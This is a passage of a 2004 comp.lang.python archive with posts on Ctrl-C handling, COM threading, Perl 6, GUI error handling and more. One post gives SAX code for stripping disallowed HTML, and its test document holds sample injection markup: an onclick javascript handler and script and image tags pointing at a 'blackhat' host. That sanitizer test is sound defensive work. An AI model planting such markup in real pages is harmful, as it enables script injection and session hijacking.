References: <bvqn4r$7ga$1@news.rz.uni-karlsruhe.de>
Message-ID: <200402041215.31666.james@logicalprogression.net>

On Wednesday 04 February 2004 12:04 pm, Uwe Mayer wrote:
> Hi,
>
> can anybody tell me how you install something like a Ctrl-C handler in
> Python, i.e. a routine that is called when ^C is pressed and that can do
> cleanup work?
>
> Thanks
> Uwe

Maybe you require something more sophisticated but ctrl-C raises an exception 
that can be caught:

>>> try:
...     while 1: pass
... except KeyboardInterrupt:
...     print 'Interrupted!'
...
Interrupted!


James
-- 
James Henderson, Logical Progression Ltd.
http://www.logicalprogression.net/
http://sourceforge.net/projects/mailmanager/




From jonas at jonasgalvez.com  Fri Feb 20 05:48:18 2004
From: jonas at jonasgalvez.com (Jonas Galvez)
Date: Fri, 20 Feb 2004 07:48:18 -0300
Subject: Statement (un)equality
References: <c14nlt$2fi$2@atlantis.news.tpi.pl>
Message-ID: <c14p7k$dnn$1@sea.gmane.org>

> [Adam Przybyla]
> >>> [[y,x] for x,y in [1,2],[3,4]]
> [[2, 1], [4, 3]]
> >>> map(lambda x,y: [y,x], [1,2],[3,4])
> [[3, 1], [4, 2]]

>>> def test(a,b):
        print "a:", a, "b:", b
        return [b,a]
>>> map(test, [1,2], [3,4])
a: 1 b: 3
a: 2 b: 4
[[3, 1], [4, 2]]
>>> [test(a, b) for a, b in [1,2], [3,4]]
a: 1 b: 2
a: 3 b: 4
[[2, 1], [4, 3]]
>>> [test(a, b) for a, b in zip([1,2], [3,4])]
a: 1 b: 3
a: 2 b: 4
[[3, 1], [4, 2]]



Jonas







From cnoviello at hotmail.com  Thu Feb  5 13:15:00 2004
From: cnoviello at hotmail.com (Carmine Noviello)
Date: Thu, 5 Feb 2004 18:15:00 +0000 (UTC)
Subject: OT: Recommended news reader?
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
Message-ID: <4833f17559e422b1a9187944e53eef33.46955@mygate.mailgate.org>

"Miki Tebeka" <miki.tebeka at zoran.com> wrote in message
news:4f0a9fdb.0402031309.fde7220 at posting.google.com

> Hello All,
> 
> Which news reader do you recommend?
> Currently I use Google Groups and find it a bit to dull.
> 
> Thanks.
> Miki

Try XPN

xpn.altervista.org

It's a new newsreader full written in Python.

Bye


-- 
Posted via Mailgate.ORG Server - http://www.Mailgate.ORG


From andy at reportlab.com  Wed Feb  4 08:19:19 2004
From: andy at reportlab.com (andy at reportlab.com)
Date: Wed, 4 Feb 2004 08:19:19 -0500 (EST)
Subject: UK Python Conference: Oxford, April 16-17 2004
Message-ID: <36185.192.223.140.55.1075900759.squirrel@webmail.pair.com>

At long last I am pleased to announce that there will once again be a
UK Python event this year.  This is being organised as a track
within the ACCU (Association of C and C++ Users) conference. It
will be held at the Randolph Hotel in centre of Oxford on Frday 16
and Saturday 17th.  The dates were chosen so people could take less
time off work or get cheaper flights across Saturday. It follows
a 2-day Open Source event with Eric Raymond, Paul Everitt and
a host of other interesting speakers.

A provisional programme and details are available at
  https://www.accu.org/conference/prog.html
Python stuff is "bottom right", open source top right.

The general theme is "where Python goes next".  In keeping with
the other ACCU tracks, it is an event about the language and about
programming.  Speakers provisionally include Eric Raymond, Alex
Martelli,  Samuele Pedroni, Armin Rigo, Duncan Booth, Chris Withers
David Ascher, Marc-Andre Lemburg, Michael Hudson, myself and
(to be confirmed) David Ascher.  There may be a PyPy sprint
concurrent with the event.


-------------------------------------
Tha ACCU event will be unlike any other Python event and has certainly
been organised differently, so let me add a few personal remarks on how it
came about ths year....

First, whether we call it a track or "the UK Python conference" is up to
the community :-)


The ACCU conference I supposed to be a place where professional programmers
can take a week out to follow all the latest and greatest developments in
languages, methodologies and tools.  The Python track aims to follow this
theme.  I would like to express my gratitude to the ACCU for putting on
an event at their own financial risk, with their own professional staff,
and which puts Python on an equally serious foooting with C++ and Java in
the development world.

This is explicitly NOT
  (1)  a budget event  (it's actually about GBP 100 per day if
       you sign up fast)
  (2)  a place to show off specific neat Python apps or projects
  (3)  a democratic, commnunity run event
EuroPython fills all those roles perfectly and we don't want to conflict
with it.


The lack of (3) is more an accident of peoples' schedules than
a planned conspiracy. The ACCU does not normally issue calls for papers;
the committee recruits  from their membership which comprises the top
echelons of the C, C++ and  Java worlds (e.g. Stroustrup, Coplien, and
various ISO working groups which are co-hosted).  They assumed I'd do the
same, I assumed we were all going to do a call for papers, and in December
we cleared up the confusion, panicked, and did it the ACCU way :-)


A number of issues were up in the air until last week which prevented
an announcement.  We will now be promoting the event heavily.  There will
be considerable space for mini-talks in the breaks, for BOFs, a possible
PyPy sprint, and for low-cost sponsorship options for open source projects
and consulting firms.  I'll be posting updates at approximately weekly
intervals.

Best Regards,

Andy Robinson
ReportLab (and ACCU Python track chair)





From samp0082_at_umn_dot_edu  Sun Feb  1 23:10:48 2004
From: samp0082_at_umn_dot_edu (Michael Sampson)
Date: Sun, 1 Feb 2004 22:10:48 -0600
Subject: Loading a Cookie from a Dictionary
References: <401d6deb$0$49109$8f4e7992@newsreader.goldengate.net>
	<87wu76ic6x.fsf@pobox.com>
Message-ID: <401dccf6$0$49110$8f4e7992@newsreader.goldengate.net>


"John J. Lee" <jjl at pobox.com> wrote in message
news:87wu76ic6x.fsf at pobox.com...
> "Michael Sampson" <samp0082_at_umn_dot_edu> writes:
>
> > I'm using the Cookie module.
> > Say I have something that looks like this
> >
> > import Cookie
> > c = Cookie.Cookie()
> > c.load(aDictonary)
> >
> > What would the format of aDictornary be, I've looked around the net and
I
> > can only find examples on how to format the input to load if it is a
string.
> > The best info on this I could find is
> [...]
>
> What are you actually trying to accomplish?
>
> Server?  Client?
>
>
> John


Assume I have a server trying to create a cookie to send to the browser.
Instead of making the cookies one at a time like

c = Cookie.Cookie()

c['firstname'] = 'joe'

c['lastname'] = 'samson'

c['lastname'][max-age] = 3600

I want to be able to store the info for the cookies in one dictonary and
pass that to the constructor for Cookie(), or load it into the cookie using
c.load().




From gregphillips13 at hotmail.com  Wed Feb  4 11:34:42 2004
From: gregphillips13 at hotmail.com (Pecks)
Date: 4 Feb 2004 08:34:42 -0800
Subject: Embedding Python in C++
Message-ID: <f4117ea1.0402040834.2a573b10@posting.google.com>

Hi, 

I'm having problems embedding Python in C++. 
(Background - I'm hacking a COTS app 
written in C++, and I'd like to write in some intelligence in
Python)

I understand that I can call a python objects method
using PyImport_ImportModule, PyObject_GetAttrString and
PyObject_CallMethod. 

But this method relies on the object being declared and initialsed
within my Python code. It also depends on hard-coding the name 
of the python object in the C++ code, which is nasty. 

Is there a better way of doing this? 
Is it necessary / a good idea to use Boost or Swig?
I'd rather code it by hand using the Python C API if possible. 

Thanks, 

Greg.


From joe at notcharles.ca  Wed Feb 25 00:31:16 2004
From: joe at notcharles.ca (Joe Mason)
Date: Wed, 25 Feb 2004 05:31:16 GMT
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>
	<15c2d03b.0402241237.708cb4e8@posting.google.com>
	<c1gtlk$1iaul2$1@ID-169208.news.uni-berlin.de>
Message-ID: <slrnc3ob6h.i6n.joe@gate.notcharles.ca>

In article <c1gtlk$1iaul2$1 at ID-169208.news.uni-berlin.de>, Greg Ewing (using news.cis.dfn.de) wrote:
> Having used other languages where dictionary keys have to
> be strings, I very much like the fact that I *don't* have to
> do this in Python. Uniquely deriving a string from a non-flat
> data structure is fraught with difficulties (e.g. in your example,
> what if one of the list elements contains "::"? Or what if you
> wanted to stringify [42, "elephant", myFunkyClassInstance]?) You
> end up having to carefully design a stringifying scheme for each
> particular case. It's a big can of hassles that I can do without.

TCL-style strings provice a good universal escaping mechanism for this,
as long as you're consistent.

Joe


From gtalvola at nameconnector.com  Mon Feb  9 16:33:42 2004
From: gtalvola at nameconnector.com (Geoffrey Talvola)
Date: Mon, 9 Feb 2004 16:33:42 -0500 
Subject: CoInitialize error when using adodbapi
Message-ID: <61957B071FF421419E567A28A45C7FE59AF93E@mailbox.nameconnector.com>

In Webware, you need to add 'EnableCOM': 1 to your AppServer.config file.
This will automatically cause CoInitialize to be called in each of the
worker threads.

- Geoff

Ixokai wrote:
> Basically, adodbapi uses COM, and COM and threads require a
> bit of care,
> apparently.  Your webkit thing may be using a thread to handle stuff.
> 
> import pythoncom
> pythoncom.CoInitialize()
> ... code ...
> pythoncom.CoUnitialize()
> 
> You need to call pythoncom.CoInitialize() once for each
> thread... theres
> something about sys.coinit_flags = 0 (or 1) that may be
> nessecary but I
> don't know what they mean precisely :)
> 
> --Stephen
> "Max Ischenko" <max at ucmg.com.ua.remove.it> wrote in message
> news:c089rb$7cg$1 at hyppo.gu.net...
>> 
>> Hi,
>> 
>> I'm using adodbapi wrapper arount OLEDB driver and I got this error
>> when calling adodbapi.connect(): (-2147221008, 'CoInitialize has not
>> been called.', None, None) 
>> 
>> The weird part is that it occurs only when running under WebKit, my
>> standalone test programs run just fine.
>> 
>> I'm using py2.3 with win32all build 163, if that matters.
>> 
>> Any ideas?
>> 
>> tia.




From wfolta at netmail.to  Fri Feb 20 05:51:28 2004
From: wfolta at netmail.to (Wayne Folta)
Date: Fri, 20 Feb 2004 05:51:28 -0500
Subject: Perl 6: every concept known to computers is in there
Message-ID: <BC8667D6-6392-11D8-9659-000A959CB2EC@netmail.to>

I hadn't really followed the state of perl for quite a few years. When 
Irecently found python, it just suited me and now I've switched. (And 
am contributing to an open-source python project. Great fun!)

Someone here mentioned perl 6, so I decided to look in on it and all I 
can say is it looks like every concept from every computer course, 
article, and book is now included.

I usually like enormous languages, but it looks to me like there's so 
much in v6 that language practitioners will separate into 
mutually-incomprehensible dialects. For example, subroutine calls have 
added 6 or 8 new symbols and feature every possible combination of 
subroutine argument variants (positional, keyword, optional, mandatory, 
variable-length, etc). Regular expressions have a class-like mechanism 
for defining grammars. Regular expressions have been jerked all around 
symbol-wise in what looks like a game of musical chairs.  (See refs at 
end.)

Lots of good ideas that might be interesting to consider for python 
(translated into pythonic pentameter, of course). But v6 also reminds 
me of the US television standard, NTSC, which some say stands for 
"Never Twice The Same Color".

Actually, they've also overhauled their OO model and it looks like 
operator overloading is quite nicely done. As an aside, I'm not a fan 
of how python maps symbols to names for such things. If you want to 
redefine, say, "-" for a set-like operation, you have to either 
remember or lookup to see if it's __sub__ or __subtract__ or __minus__ 
or...

I'd love to see something like:

    def  "aa - bb":
	return [a for a in aa if a not in bb]

(the body may or may not be correct, it's the def that I'm talking 
about). This would handle infix, prefix, and suffix all with the same 
notation. (Maybe even "circumfix" which I'd never heard used until I 
read perl v6's docs.)

    http://dev.perl.org/perl6/synopsis/S05.html
    http://dev.perl.org/perl6/synopsis/S06.html




From alanmk at hotmail.com  Thu Feb 12 06:49:38 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Thu, 12 Feb 2004 11:49:38 +0000
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com> <402A84FF.42CCB137@hotmail.com>
	<402A87FD.5879C6DC@engcorp.com>
	<402b5d55$0$3989$3a628fcd@reader1.nntp.hccnet.nl>
Message-ID: <402B6852.23C62E07@hotmail.com>

[Anton Vredegoor]
> Somehow this thread reminds me of a certain Monty Python scene
> involving the sale of a parrot ;-)

Nice one Anton :-D

For those unfamiliar with the Parrot sketch,

http://www.jumpstation.ca/recroom/comedy/python/petshop.html

For those who already know it, I just had to point this out

http://www.wackyplanet.com/monpytdeadpa.html

it's-not-dead-it's-pining-for-iso-10646-ly y'rs.

-- 
alan kennedy
------------------------------------------------------
check http headers here: http://xhaus.com/headers
email alan:              http://xhaus.com/contact/alan


From tjreedy at udel.edu  Tue Feb 24 17:37:48 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 24 Feb 2004 17:37:48 -0500
Subject: wxWindows changes name
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake>
	<403BA197.99C6A4C5@engcorp.com>
Message-ID: <c1gjnq$o29$1@sea.gmane.org>


"Peter Hansen" <peter at engcorp.com> wrote in message
news:403BA197.99C6A4C5 at engcorp.com...
> > The wxWindows project have announced that they are changing their name
> > to wxWidgets, specifically to avoid problems with the Microsoft product
> > name.
> >
> >     <http://www.wxwindows.org/name.htm>
>
> I haven't read the link (deliberately, for now)

It is a straightforward one page announcement of the change with a request
that others go along and get on with coding.  No rants or sordid details to
avoid;-)

>but I'd point out that the
> some of the "problems" they are avoiding by doing so are the possible
confusion
> in the minds of potential users as to whether wxWindows is cross-platform
> or not.  wxWidgets might be an easier "sell" as a cross-platform GUI
framework,
> so in that sense it's not a bad idea.
>
> Who really wants "windows" in their product name in this day and age
anyway?
>
> It's not like it carries connotations of reliability or good design, is
it?

I agree that MS may have pushed them into making a change that is at least
neutral  and possibly positive in the long run.

Terry J. Reedy






From peter at engcorp.com  Wed Feb 18 21:54:27 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 21:54:27 -0500
Subject: GUI application death catcher?
References: <lcisi4ezli.fsf@gaffa.mit.edu>
Message-ID: <40342563.BA2866BF@engcorp.com>

Douglas Alan wrote:
> 
> I'm writing a GUI app in Python that will be used on the International
> Space Station.  I'd like for the app to be as robust as possible and,
> consequently, if it crashes, for there to be a log file written and a
> coherent error message displayed to the astronaut.
> 
> My original approach to this was to write an in-process handler in
> Python that would catch all uncaught exceptions and log the error to a
> file and then hand-hold the user.  This turned out to be a bit hairy
> because of all the additional possible errors that might happen while
> handling the original error, but I made a decent stab at it.
> Unfortunately, I find that as I keep working on the program, I often
> break the error handler by breaking some utility code that the error
> handler uses.  This isn't so good, so it's back to the drawing board a
> bit.

This sounds a lot like you are writing this without proper unit tests.
If that's true, and if you really have to run this on a Windows machine,
then god help you...

The only thing I can say that might help beyond that :-), is that 
reliability and simplicity go hand in hand.  It sounds like you are
trying to make this error handler more complicated than it should be,
and in the process are making it as or more likely to fail than the
main app might be!  Not a good approach.  Go with something really 
really simple, and if you want to take a stab at a more sophisticated
(read complicated) arrangement, at least put it inside the really simple
handler that you write first and test really well.  That gives you 
two levels of protection, the one which you hope is all that's needed,
and the other as a last resort in case the first one blows up too.

-Peter


From jacek.generowicz at cern.ch  Wed Feb 25 03:23:17 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 25 Feb 2004 09:23:17 +0100
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<mailman.58.1077649530.8594.python-list@python.org>
Message-ID: <tyfbrnno9e2.fsf@pcepsft001.cern.ch>

"Terry Reedy" <tjreedy at udel.edu> writes:

> Nested functions are much rarer than unnested.  Needing to rebind an
> outer local, rather than merely read or mutate, is rarer still.

Chicken and Egg.

Sapir-Whorf.

I sumbit to you that read-only closures are rare in Python because
they are a recent addition to the language.

I sumbit to you that read-write closures are so much rarer still,
because they require an ugly hack to work.


From nir1408 at hotmail.com  Thu Feb  5 20:54:43 2004
From: nir1408 at hotmail.com (Nir of the Waves)
Date: Fri, 6 Feb 2004 03:54:43 +0200
Subject: pdb module and threaded code
Message-ID: <BAY10-DAV57OdWTrNpk0004822b@hotmail.com>

My script uses threads from the threading module

 

I try do debug it with the PDB module.

But the debugger ignores breakpoints to code that is executed by threads

How can this be worked around

Did I do something wrong?

 

I use:

 

Pdb.run('mymodule.main()', globals(), locals())

 

 

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From alanmk at hotmail.com  Fri Feb 13 10:01:22 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Fri, 13 Feb 2004 15:01:22 +0000
Subject: Simple allowing of HTML elements/attributes?
References: <mailman.6.1076630346.31398.python-list@python.org>
Message-ID: <402CE6C2.18AC1055@hotmail.com>

[Alan Kennedy]
>> The optimal solution, IMHO, is to tidy the HTML into XML, and then use
>> SAX to filter out the stuff you don't want. Here is some code that
>> does the latter. This should be nice and fast, and use a lot less
>> memory than object-model based approaches.

[Robert Brewer]
> I rolled my own solution to this the other day,
> relying more on regexes. This might be more usable.

Not sure what you're saying here Robert. Certainly, a regex based
solution has the potential to be faster than the XML+SAX technique,
but is likely to be *much* harder to verify correct and secure
operation.

> One issue: the parser, as written, mangles well-formed xhtml tags like
> <br /> into <br></br>. Any recommendations besides brute-force (keeping
> a list of allowed empty tags) for dealing with this?

I'm assuming that when you say "the parser, as written" you mean my
code?

The issue of end-tags and empty elements is not a simple one.

If one wants to emit XML, then a start-tag + end-tag combination is
equivalent to an empty element tag, i.e. '<br></br>' should be
interchangable with '<br/>'.

http://www.w3.org/TR/2004/REC-xml-20040204/#dt-content

The statement "The representation of an empty element is either a
start-tag immediately followed by an end-tag, or an empty-element tag"
shows that, as far as XML is concerned, either must be acceptable to
XML processors.

Note the statement "For interoperability, the empty-element tag SHOULD
be used, and SHOULD only be used, for elements which are declared
EMPTY". The "SHOULD" implies that this is only recommended behaviour,
not required. Also, "declared empty" implies that this recommended
behaviour SHOULD only be enforced when a DTD is in use, implying the
use of a validating XML parser.

Since XHTML is simply an XML document type, all XHTML compliant
processors should accept both (i.e. '<br></br>' and '<br/>') to
represent the same thing, an element with no children.

However, we're talking about HTML here, and there is a lot of
non-X[HT]ML aware software out there. Many of it (e.g. Netscape 4.x)
would not accept *either* option: they only render a line-break if
presented with '<br>' (or maybe '<br' :-). So in order to generate
HTML that will work in these browsers, we should only output '<br>'
when generating for an older user-agent.

Which means that the filter I presented would have to different code
paths, depending on the user-agent it is rendering for.

The cleanest solution to this problem is to separate out the content
filtering from the output phase. So we do the output in a second
handler, which can be changed depending on the desired output, and our
content-filtering algorithm is then isolated from the output code.

Note that XSLT addresses this problem by allowing the user to declare
the "output method", so that they can indicate whether or not they
want well-formed XML in the output.

http://www.w3.org/TR/xslt#section-HTML-Output-Method

Here is an implementation of an XML output method.

#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

class xml_output(xml.sax.handler.ContentHandler):

  def __init__(self):
    xml.sax.handler.ContentHandler.__init__(self)
    self.outbuf = StringIO.StringIO()

  def startElement(self, elemname, attrs):
    attrstr = ""
    for a in attrs.keys():
      attrstr = "%s%s" % (attrstr, " %s=%s" % (a,
quoteattr(attrs[a])))
    self.outbuf.write("<%s%s>" % (elemname, attrstr))

  def endElement(self, elemname):
    self.outbuf.write("</%s>" % (elemname,))

  def characters(self, s):
    self.outbuf.write("%s" % (escape(s),))

#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

And we have to change the cleaning filter so that it now consumes and
generates SAX events, rather than simply outputting the data.

#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

class cleaning_filter(xml.sax.handler.ContentHandler):

  def __init__(self, output_method):
    xml.sax.handler.ContentHandler.__init__(self)
    self.outmeth = output_method

  def startElement(self, elemname, attrs):
    if elemname in permittedElements:
      newattrs = {}
      for a in attrs.keys():
        if a in permittedAttrs:
          newattrs[a] = attrs[a]
      self.outmeth.startElement(elemname, newattrs)

  def endElement(self, elemname):
    if elemname in permittedElements:
      self.outmeth.endElement(elemname)

  def characters(self, s):
    self.outmeth.characters(s)

#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Now we need an HTML output method. So we need to change the
startElement and endElement events of the SAX handler so that they
output empty elements in the old style. So we simply change the
startElement function to output the whole empty element. But in the
endElement function, we need some kind of flag which indicates whether
or not there have been any children since the corresponding
startElement call.

A simple way to store this kind of state information is in a stack. We
push a flag on the stack when we receive a start element call, which
is false, i.e. indicates that there are no children. We pop that flag
off the stack when in the endElement call, which tells us whether or
not to generate an end-tag. And whenever we receive any startElement
or characters call (or indeed any other type of child node), we modify
the flag on top of the stack, representing the child status of our
immediate parent, to indicate that children have been notified.

The code looks like this

#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

HAS_NO_CHILDREN = 0
HAS_CHILDREN = 1

class html_output(xml.sax.handler.ContentHandler):

  def __init__(self):
    xml.sax.handler.ContentHandler.__init__(self)
    self.outbuf = StringIO.StringIO()
    self.child_flags = []

  def startElement(self, elemname, attrs):
    if len(self.child_flags):
      self.child_flags[-1] = HAS_CHILDREN
    self.child_flags.append(HAS_NO_CHILDREN)
    attrstr = ""
    for a in attrs.keys():
      attrstr = "%s%s" % (attrstr, " %s=%s" % (a,
quoteattr(attrs[a])))
    self.outbuf.write("<%s%s>" % (elemname, attrstr))

  def endElement(self, elemname):
    if self.child_flags[-1] == HAS_CHILDREN:
      self.outbuf.write("</%s>" % (elemname,))
    self.child_flags.pop()

  def characters(self, s):
    self.child_flags[-1] = HAS_CHILDREN
    self.outbuf.write("%s" % (escape(s),))

#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

So combining all of the above, we end up with complete code like so

#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
import xml.sax
from xml.sax.saxutils import escape, quoteattr
import cStringIO as StringIO
import random

permittedElements = ['html', 'body', 'b', 'i', 'p', 'hr', 'br',]
permittedAttrs = ['class', 'id', 'width',]

class xml_output(xml.sax.handler.ContentHandler):

  def __init__(self):
    xml.sax.handler.ContentHandler.__init__(self)
    self.outbuf = StringIO.StringIO()

  def startElement(self, elemname, attrs):
    attrstr = ""
    for a in attrs.keys():
      attrstr = "%s%s" % (attrstr, " %s=%s" % (a,
quoteattr(attrs[a])))
    self.outbuf.write("<%s%s>" % (elemname, attrstr))

  def endElement(self, elemname):
    self.outbuf.write("</%s>" % (elemname,))

  def characters(self, s):
    self.outbuf.write("%s" % (escape(s),))

HAS_NO_CHILDREN = 0
HAS_CHILDREN = 1

class html_output(xml.sax.handler.ContentHandler):

  def __init__(self):
    xml.sax.handler.ContentHandler.__init__(self)
    self.outbuf = StringIO.StringIO()
    self.child_flags = []

  def startElement(self, elemname, attrs):
    if len(self.child_flags):
      self.child_flags[-1] = HAS_CHILDREN
    self.child_flags.append(HAS_NO_CHILDREN)
    attrstr = ""
    for a in attrs.keys():
      attrstr = "%s%s" % (attrstr, " %s=%s" % (a,
quoteattr(attrs[a])))
    self.outbuf.write("<%s%s>" % (elemname, attrstr))

  def endElement(self, elemname):
    if self.child_flags.pop() == HAS_CHILDREN:
      self.outbuf.write("</%s>" % (elemname,))

  def characters(self, s):
    self.child_flags[-1] = HAS_CHILDREN
    self.outbuf.write("%s" % (escape(s),))

class cleaning_filter(xml.sax.handler.ContentHandler):

  def __init__(self, output_method):
    xml.sax.handler.ContentHandler.__init__(self)
    self.outmeth = output_method

  def startElement(self, elemname, attrs):
    if elemname in permittedElements:
      newattrs = {}
      for a in attrs.keys():
        if a in permittedAttrs:
          newattrs[a] = attrs[a]
      self.outmeth.startElement(elemname, newattrs)

  def endElement(self, elemname):
    if elemname in permittedElements:
      self.outmeth.endElement(elemname)

  def characters(self, s):
    self.outmeth.characters(s)

testdoc = """
<html>
  <body>
    <p class="1" id="2">This paragraph contains <b>only</b> permitted
elements.</p>
    <p>This paragraph contains <i 
    onclick="javascript:pop('porno.htm')">disallowed
attributes</i>.</p>
    <img src="http://www.blackhat.com/session_hijack.gif"/>
    <p>This paragraph contains
    <script src="blackhat.js"/>a potential script
    attack</p>
    <br/>
    <hr width="50%"/>
  </body>
</html>
"""

if __name__ == "__main__":
  is_old_user_agent = int(random.random() + 0.05)
  if is_old_user_agent:
    output_method = html_output()
  else:
    output_method = xml_output()
  mycleaner = cleaning_filter(output_method)
  parser = xml.sax.make_parser()
  parser.setContentHandler(mycleaner)
  parser.setFeature(xml.sax.handler.feature_namespaces, 0)
  parser.feed(testdoc)
  print output_method.outbuf.getvalue()
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Note that it gets more complex if we want to output the empty-element
form from the xml_output handler: we can't decide in the startElement
function if we should output '/>' or '>' for the tag. But we can't
simply defer the decision until the endElement function, because if
there were intervening child elements, our output would be all messed
up. So we sould have to store "pending output" on the stack, or
"pending nodes", or something similar.

And now we get back to the statement in the XML spec: "the
empty-element tag SHOULD be used, and SHOULD only be used, for
elements which are declared EMPTY". What's basically stated here is
that it is recommended behaviour to output the empty element *when the
brute-force approach is possible*, i.e. when the processor *knows*
from the the content model, as declared in the DTD, that the element
is definitely empty. Which mostly only validating parsers do.
Requiring processors without a content model available to always
output the empty-element form would place too much of a burden of code
complexity on event-based-code writers, hence the "permissiveness" of
the XML spec in this regard.

It is also interesting to note that the original principle designer
for SAX, David Megginson, recognised the problem and created a
separate "emptyElement" handler in his "XMLWriter" java code, which
consumes SAX events and writes XML to output files.

http://www.megginson.com/Software/

would-love-to-have-time-to-write-an-xml-and-python-book-ly y'rs

-- 
alan kennedy
------------------------------------------------------
check http headers here: http://xhaus.com/headers
email alan:              http://xhaus.com/contact/alan


From richie at entrian.com  Wed Feb 11 10:41:22 2004
From: richie at entrian.com (Richie Hindle)
Date: Wed, 11 Feb 2004 15:41:22 +0000
Subject: iterating over a list and printing
In-Reply-To: <c0dhev$2gp$1@solaris.cc.vt.edu>
References: <c0dhev$2gp$1@solaris.cc.vt.edu>
Message-ID: <gvik20hgfq3bdjc2uii7bkvvfienri783s@4ax.com>


[Bart]
>>> ip_list.append(inputFile.read())

You probably meant something like this (untested):

inputFile = file('ips.txt', 'r')
ip_list = inputFile.readlines()   # Note readlines() rather than read()
inputFile.close()
for i in ip_list:
    print "/sbin/ifconfig %s netmask 255.255.252.0 broadcast 128.173.123.255 up" %i

If you really do need to create ip_list up front and append to it,
you should use extend() rather than append() - see the "mutable
sequence types" documentation for details.

-- 
Richie Hindle
richie at entrian.com




From matt.gerrans at hp.com  Thu Feb 26 20:28:57 2004
From: matt.gerrans at hp.com (Matt Gerrans)
Date: Fri, 27 Feb 2004 01:28:57 GMT
Subject: pyAlbum
References: <mailman.186.1077839268.8594.python-list@python.org>
Message-ID: <t3x%b.1203$8T.527@news.cpqcorp.net>

A good start -- a thumbnail view might be a nice enhancement.

I worked on my own Python script to do something similar (except with the
thumbnail page and having the prev/next be little thumbnails of the
prev/next pictures instead of text), for a little while before it dawned on
me that the whole thing could be done with a single page containing
JavaScript.    Much as I prefer Python over JavaScript, that seemed a lot
more sensible.  I still use a Python script with PIL to generate the
thumbnail set (which isn't strictly necessary, as JavaScript can load all
the images at full size and still scale them down and show thumbnails -- but
it makes for better display performance and better looking thumbnails).




From jcarlson at nospam.uci.edu  Thu Feb 12 10:27:21 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 12 Feb 2004 07:27:21 -0800
Subject: Python GUI Code -- Best Practice
In-Reply-To: <fmsmhg5ru2.fsf@random-node.example.org>
References: <73wu6t5o5t.fsf@random-node.example.org>
	<pan.2004.02.12.12.30.00.192030@thomas-guettler.de>
	<fmsmhg5ru2.fsf@random-node.example.org>
Message-ID: <c0g65a$5i9$1@news.service.uci.edu>

> I don't want a demo - using the widgets is simply a case of writing the API
> calls in the correct order.  I want see how to structure an application - how
> to ensure that the GUI stays response while multiple things are done in the
> background - how and when to arrange polling of external events etc.

Check out the wxGuide editor, or any of the other wxGuide apps.  While 
not being terribly feature-filled, they do offer a view into the 
/suggested/ visual layout, and hopefully, the way they would like 
people's code to be laid out.


  - Josiah


From bignose-hates-spam at and-benfinney-does-too.id.au  Fri Feb  6 00:34:01 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 6 Feb 2004 16:24:01 +1050
Subject: Best Beginner's Guide To Python?
References: <3b48d777.0402052148.3cd8e16c@posting.google.com>
Message-ID: <slrnc26avp.9o3.bignose-hates-spam@iris.polar.local>

On 5 Feb 2004 21:48:20 -0800, The Tao of Spike wrote:
> I've recentlty been getting into programming.  I was wondering what
> language to learn first and after asking around I decided on Python. 

Welcome.  It sounds like you were well advised.

> I'm about half way through "Non-Programmers Tutorial For Python" By
> Josh Cogliati (http://www.honors.montana.edu/~jjc/easytut/easytut/)
> and I'm wondering where I should go after this.  Any help is
> appreciated, thanks.

    <http://www.python.org/topics/learn/>

Most especially, Python's own tutorial:

    <http://www.python.org/doc/current/tut/>

-- 
 \       "The sun never sets on the British Empire. But it rises every |
  `\     morning. The sky must get awfully crowded."  -- Steven Wright |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From skip at pobox.com  Wed Feb 11 11:05:30 2004
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 11 Feb 2004 10:05:30 -0600
Subject: How to avoid "f.close" (no parens) bug?
In-Reply-To: <A128D751272CD411BC9200508BC2194D033835E1@escpl.tcp.com.ar>
References: <A128D751272CD411BC9200508BC2194D033835E1@escpl.tcp.com.ar>
Message-ID: <16426.21194.283437.46822@montanaro.dyndns.org>


    Facundo> #-     Warnings...
    Facundo> #- 
    Facundo> #-     foo.py:4: Statement appears to have no effect

    Facundo> Why "appears"?

I think Neal was just being conservative when he wrote that.  In fact, today
with properties and such, just the act of getting an attribute can have side
effects.  Determining for sure that there were no side effects would
probably require a lot more analysis, if it's even possible to determine
without actually executing the code.

Skip



From __peter__ at web.de  Fri Feb 27 04:53:59 2004
From: __peter__ at web.de (Peter Otten)
